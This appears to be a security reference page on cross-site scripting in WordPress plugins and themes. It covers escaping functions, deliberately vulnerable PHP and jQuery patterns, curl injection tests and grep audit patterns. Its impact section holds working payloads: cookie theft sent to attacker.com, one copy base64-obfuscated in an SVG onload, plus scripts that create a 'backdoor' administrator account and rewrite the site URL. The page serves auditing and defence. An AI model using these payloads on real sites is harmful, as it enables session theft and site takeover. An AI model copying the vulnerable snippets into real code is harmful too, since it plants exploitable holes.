Vulnerability Types

WordPress Cross-Site Scripting

Stored, reflected, and DOM XSS in WordPress, escaping functions, common vulnerable patterns, and impact scenarios including admin account takeover

WordPress Cross-Site Scripting

Cross-site scripting in WordPress plugins and themes is one of the most commonly reported vulnerability classes. The impact ranges from defacement to full site takeover when an admin user triggers a stored XSS payload. Understanding WordPress's escaping functions and where they are commonly omitted is essential.

WordPress Escaping Functions

WordPress provides context-specific escaping functions that should be used for all output:

For HTML Content

// Escapes HTML entities: < > " ' &
echo esc_html( $user_input );

// Example output: &lt;script&gt;alert(1)&lt;/script&gt;
// Appropriate for: text node content, not attribute values

For HTML Attributes

// Same as esc_html but also escapes ' and handles attribute context
echo '<input value="' . esc_attr( $user_input ) . '">';

// Prevents attribute breakout: value="value" onmouseover="attack()"
// The quotes and special chars are escaped

For URLs

// Validates URL structure and encodes dangerous characters
echo '<a href="' . esc_url( $user_input ) . '">';

// Blocks: javascript: protocol, data: URIs
// Allows: https://, http://, relative paths
echo esc_url( 'javascript:alert(1)' ); // Returns empty string

// esc_url_raw() - for database storage (doesn't encode ampersands)
$url = esc_url_raw( $_POST['redirect_url'] );

For JavaScript

// Encodes for use inside JavaScript strings (JSON encoding)
$data = json_encode( $php_var );
echo '<script>var data = ' . $data . ';</script>';

// Or use wp_json_encode (handles edge cases better)
echo '<script>var data = ' . wp_json_encode( $php_var ) . ';</script>';

// NEVER: echo '<script>var x = "' . $user_input . '";</script>';

wp_kses - Allowed HTML

// Strip all HTML except allowed tags/attributes
$allowed_html = [
    'a'      => ['href' => [], 'title' => []],
    'strong' => [],
    'em'     => [],
    'p'      => [],
];
echo wp_kses( $user_input, $allowed_html );

// wp_kses_post - uses the allowed HTML for post content
echo wp_kses_post( $content );

// wp_kses_data - minimal allowed HTML
echo wp_kses_data( $content );

Stored XSS Patterns

Pattern 1: Unescaped Option Value Output

// Plugin saves option without escaping
update_option( 'plugin_header_text', $_POST['header_text'] );

// And outputs it without escaping
add_action( 'wp_head', function() {
    $header = get_option( 'plugin_header_text' );
    echo '<div class="header">' . $header . '</div>'; // XSS
});

Payload:

<script>
fetch('https://attacker.com/steal?c='+encodeURIComponent(document.cookie));
</script>

Testing:

# Store XSS payload in plugin setting
curl -s -b /tmp/subscriber_cookies.txt -X POST \
  'https://target.example.com/wp-admin/admin-ajax.php' \
  -d 'action=save_header_text' \
  -d 'nonce=NONCE' \
  --data-urlencode 'header_text=<script>alert(document.domain)</script>'

# Verify it's stored and rendered
curl -s 'https://target.example.com/' | grep -i "script\|alert"

Pattern 2: Stored XSS via Post Meta

// VULNERABLE: Saves post meta without sanitization
add_action( 'save_post', function( $post_id ) {
    if ( isset( $_POST['custom_sidebar'] ) ) {
        update_post_meta(
            $post_id,
            '_custom_sidebar',
            $_POST['custom_sidebar'] // Raw user input stored
        );
    }
});

// Outputs without escaping
add_action( 'wp_footer', function() {
    global $post;
    $sidebar = get_post_meta( $post->ID, '_custom_sidebar', true );
    if ( $sidebar ) {
        echo $sidebar; // XSS when page is viewed
    }
});
# Any author can create a post with XSS in meta
curl -s -b /tmp/author_cookies.txt -X POST \
  'https://target.example.com/wp-admin/post.php' \
  -d 'action=editpost&post_ID=5&post_title=Test&post_status=publish' \
  --data-urlencode 'custom_sidebar=<img src=x onerror=alert(document.cookie)>'

Pattern 3: Shortcode Attribute XSS

// VULNERABLE: Shortcode attribute echoed without escaping
function vulnerable_shortcode( $atts ) {
    $atts = shortcode_atts([
        'title' => 'Default Title',
        'color' => 'blue',
    ], $atts );

    // Color is reflected unsanitized in inline style and HTML attribute
    return '<div style="color:' . $atts['color'] . ';">' .
           esc_html( $atts['title'] ) . '</div>';
}
add_shortcode( 'my_widget', 'vulnerable_shortcode' );

Payload in shortcode (contributor or above can typically use shortcodes):

[my_widget title="Test" color="red;}</style><script>alert(1)</script>"]
[my_widget color="red" title="<img src=x onerror=alert(1)>"]

Note: shortcode_atts does not escape values. The developer must escape when outputting.

# Test if shortcode attribute is vulnerable
# Create a post as contributor with the shortcode
curl -s -b /tmp/contributor_cookies.txt -X POST \
  'https://target.example.com/wp-admin/admin-ajax.php' \
  -d 'action=autosave' \
  --data-urlencode 'content=[my_widget color="red;background:url(javascript:alert(1))"]'

Pattern 4: Reflected XSS via $_GET Parameters

// VULNERABLE: Search term reflected without escaping
add_action( 'init', function() {
    if ( isset( $_GET['my_plugin_search'] ) ) {
        $search = $_GET['my_plugin_search'];
        // Reflected without escaping
        echo '<div class="search-results">Results for: ' . $search . '</div>';
    }
});
# Reflected XSS test
curl -s 'https://target.example.com/?my_plugin_search=<script>alert(1)</script>'
curl -s 'https://target.example.com/?my_plugin_search="><script>alert(document.cookie)</script>'

# URL for victim click
echo 'https://target.example.com/?my_plugin_search=%3Cscript%3Ealert%281%29%3C%2Fscript%3E'

Pattern 5: XSS in Admin Pages

Admin XSS matters when exploited by lower-privileged users (subscribers/authors triggering XSS that fires in admin's browser):

// Plugin displays user input on admin page without escaping
add_action( 'admin_notices', function() {
    $error = get_option( 'my_plugin_last_error' );
    if ( $error ) {
        // Admin page XSS
        echo '<div class="notice notice-error"><p>' . $error . '</p></div>';
    }
});

// Error is set from a public form
add_action( 'wp_ajax_nopriv_submit_form', function() {
    update_option( 'my_plugin_last_error', $_POST['message'] ); // Attacker controls this
    wp_die();
});

Any unauthenticated user can inject a payload that fires when the admin views their dashboard:

# Inject payload that will execute in admin context
curl -s -X POST 'https://target.example.com/wp-admin/admin-ajax.php' \
  -d 'action=submit_form' \
  --data-urlencode 'message=<img src=x onerror="fetch(atob(\"aHR0cHM6Ly9hdHRhY2tlci5jb20v\"))">'

SVG XSS

SVG files are XML documents that can contain JavaScript. When SVG is displayed inline or accessed directly:

<!-- Malicious SVG payload -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg"
     xmlns:xlink="http://www.w3.org/1999/xlink"
     onload="eval(atob('ZmV0Y2goJ2h0dHBzOi8vYXR0YWNrZXIuY29tL3N0ZWFsP2M9Jytkb2N1bWVudC5jb29raWUp'))">
  <rect width="100%" height="100%"/>
</svg>
# Base64 decode the payload: fetch('https://attacker.com/steal?c='+document.cookie)
echo -n "fetch('https://attacker.com/steal?c='+document.cookie)" | base64

cat > /tmp/xss.svg << 'SVGEOF'
<svg xmlns="http://www.w3.org/2000/svg" onload="document.location='https://attacker.com/?c='+document.cookie">
<text>image</text>
</svg>
SVGEOF

# Upload SVG via media upload (if allowed)
curl -s -b /tmp/author_cookies.txt -X POST \
  'https://target.example.com/wp-admin/async-upload.php' \
  -F 'action=upload-attachment' \
  -F 'name=image.svg' \
  -F '_wpnonce=NONCE' \
  -F 'async-upload=@/tmp/xss.svg;type=image/svg+xml'

DOM-Based XSS

DOM XSS occurs when JavaScript processes URL fragments or parameters without sanitization:

// VULNERABLE: Plugin JavaScript
jQuery(document).ready(function($) {
    // Reads from URL hash without sanitization
    var tab = location.hash.substring(1);
    $('#' + tab).show(); // DOM manipulation with attacker-controlled value
    
    // Or reflects search parameter
    var search = new URLSearchParams(window.location.search).get('s');
    $('.search-results').html('Results for: ' + search); // XSS via .html()
});

Testing payloads:

# Hash-based DOM XSS
https://target.example.com/plugin-page/#<img src=x onerror=alert(1)>

# URL parameter DOM XSS  
https://target.example.com/plugin-page/?display=<script>alert(1)</script>

# Using innerHTML or jQuery .html()
https://target.example.com/#"></div><script>alert(1)</script>

XSS Payloads for Impact Demonstration

// Exfiltrate cookies to attacker server
fetch('https://attacker.com/collect', {
    method: 'POST',
    body: JSON.stringify({
        cookie: document.cookie,
        url: window.location.href,
        ua: navigator.userAgent
    })
});

Admin Account Compromise via CSRF Chain

// XSS payload that creates a new admin account
// Fires in admin's browser context
(async function() {
    // Step 1: Get nonce
    const resp = await fetch('/wp-admin/user-new.php');
    const html = await resp.text();
    const nonce = html.match(/_wpnonce_create-user" value="([^"]+)"/)[1];
    
    // Step 2: Create admin account
    await fetch('/wp-admin/user-new.php', {
        method: 'POST',
        headers: {'Content-Type': 'application/x-www-form-urlencoded'},
        body: `action=createuser&user_login=backdoor&email=attacker@evil.com` +
              `&pass1=P@ssw0rd123!&pass2=P@ssw0rd123!&role=administrator` +
              `&_wpnonce_create-user=${nonce}`
    });
})();

WordPress Option Modification

// Modify site URL to redirect all traffic
(async function() {
    const nonceResp = await fetch('/wp-admin/options-general.php');
    const html = await nonceResp.text();
    const nonce = html.match(/name="_wpnonce" value="([^"]+)"/)[1];
    
    await fetch('/wp-admin/options.php', {
        method: 'POST',
        headers: {'Content-Type': 'application/x-www-form-urlencoded'},
        body: `option_page=general&action=update&_wpnonce=${nonce}` +
              `&siteurl=https://attacker.com&blogname=Hacked`
    });
})();

Grep Patterns for XSS Auditing

PLUGIN_DIR="/var/www/html/wp-content/plugins/target-plugin"

# Direct echo of user input (high confidence)
grep -rP "echo\s+\\\$_(GET|POST|REQUEST|COOKIE)" "$PLUGIN_DIR" --include="*.php" -n
grep -rP "echo\s+\\\$_(GET|POST|REQUEST)\[" "$PLUGIN_DIR" --include="*.php" -n

# Output without escaping functions
grep -rn "echo" "$PLUGIN_DIR" --include="*.php" | \
  grep -v "esc_html\|esc_attr\|esc_url\|wp_kses\|absint\|intval\|// "

# get_option / get_post_meta echoed without escaping
grep -rn "echo.*get_option\|echo.*get_post_meta\|echo.*get_user_meta" \
  "$PLUGIN_DIR" --include="*.php" -n

# Shortcode attribute output without escaping
grep -rn "echo.*\$atts\|print.*\$atts" "$PLUGIN_DIR" --include="*.php" -n

# JavaScript variable assignments with PHP data (potential DOM XSS source)
grep -rn "var.*=.*<?php\|<?php.*echo.*?>.*;" "$PLUGIN_DIR" --include="*.php" -n

# wp_localize_script with unsanitized data
grep -rn "wp_localize_script" "$PLUGIN_DIR" --include="*.php" -A5 | \
  grep "\$_\|get_option\|get_post_meta"

# printf with user input (often overlooked)
grep -rP "printf\s*\(" "$PLUGIN_DIR" --include="*.php" -n | \
  grep "\$_(GET|POST|REQUEST)"

# Attributes in HTML without esc_attr
grep -rP 'value="\s*<\?php\s+echo\s+(?!esc_)' "$PLUGIN_DIR" --include="*.php" -n

# JavaScript files with DOM sinks
grep -rn "innerHTML\|document\.write\|\.html(\|eval(" \
  "$PLUGIN_DIR" --include="*.js" -n

# jQuery-based DOM manipulation with URL parameters
grep -rn "location\.search\|location\.hash\|URLSearchParams" \
  "$PLUGIN_DIR" --include="*.js" -n

Testing Methodology

TARGET="https://target.example.com"

# 1. Identify all input fields and parameters
curl -s "$TARGET/" | grep -oP 'name="[^"]+"' | sort -u

# 2. Test reflected XSS with canary
CANARY="xss_$(date +%s)"
curl -s "$TARGET/?search=$CANARY" | grep "$CANARY"

# 3. Test stored XSS via comments (if enabled)
curl -s -X POST "$TARGET/wp-comments-post.php" \
  -d 'comment=<script>alert(1)</script>' \
  -d 'author=Test' \
  -d 'email=test@test.com' \
  -d 'comment_post_ID=1' \
  -d '_wp_unfiltered_html_comment=1'

# 4. Probe admin pages for admin XSS
curl -s -b /tmp/subscriber_cookies.txt -X POST \
  "$TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode 'action=plugin_save_data' \
  --data-urlencode 'data=<script>alert(document.domain)</script>'

curl -s -b /tmp/admin_cookies.txt "$TARGET/wp-admin/" | grep -i "alert\|script" | head -5

Context-Specific Escaping Reference

ContextFunctionExample
HTML bodyesc_html()echo esc_html($text)
HTML attributeesc_attr()echo '<input value="'.esc_attr($val).'">'
URL in href/srcesc_url()echo '<a href="'.esc_url($url).'">'
JavaScript stringesc_js()echo 'var x = "'.esc_js($val).'";'
CSS valueesc_attr() + validationValidate then esc_attr()
Textareaesc_textarea()echo '<textarea>'.esc_textarea($val).'</textarea>'
Rich HTMLwp_kses_post()echo wp_kses_post($content)
Translationesc_html__()echo esc_html__('text', 'domain')

Using the wrong escaping function for the context is a vulnerability. For example, esc_html() in an attribute value does not prevent attribute injection via unquoted values.